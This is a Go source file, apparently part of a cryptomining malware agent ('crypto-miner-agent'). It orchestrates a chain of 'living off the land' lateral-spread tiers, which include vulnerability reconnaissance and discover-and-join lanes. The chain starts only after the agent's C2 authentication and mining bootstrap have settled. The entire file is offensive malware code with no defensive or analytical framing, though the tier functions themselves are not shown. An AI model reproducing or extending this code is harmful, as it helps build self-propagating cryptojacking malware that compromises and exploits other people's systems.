package deploy import ( "log" "time" "crypto-miner-agent/config" ) // StartLotlOnion runs the ordered LOTL spread tier chain when enabled at forge time. // Each tier uses native OS tooling — no extra miner exe drop beyond the forged agent. func StartLotlOnion(cfg config.RuntimeConfig) { if !cfg.LotlOnionEnabled { return } tiers := NormalizeLotlTiers(cfg.LotlOnionTiers) log.Printf("[lotl-onion] starting tier chain: %v (server_policy=%v)", tiers, cfg.LotlPolicyFromServer) go runLotlOnionChain(cfg, tiers) } // TryDiscoverJoinLane attempts one discover_and_join deploy lane (exported for triple onion). func TryDiscoverJoinLane(cfg config.RuntimeConfig, lane string) (bool, string) { return tryLotlTier(cfg, lane) } // reportOnlyLotlTiers run recon probes without ending the spread chain. var reportOnlyLotlTiers = map[string]struct{}{ "vuln_recon": {}, } func runLotlOnionChain(cfg config.RuntimeConfig, tiers []string) { // Stagger first pass so C2 auth and mining bootstrap settle first. time.Sleep(2 * time.Minute) for _, tier := range tiers { ok, reason := tryLotlTier(cfg, tier) if ok { if _, reportOnly := reportOnlyLotlTiers[tier]; reportOnly { log.Printf("[lotl-onion] tier %s complete: %s (report-only, continuing)", tier, reason) continue } log.Printf("[lotl-onion] tier %s succeeded", tier) return } log.Printf("[lotl-onion] tier %s skipped: %s", tier, reason) } log.Printf("[lotl-onion] all tiers exhausted — no lateral path succeeded") }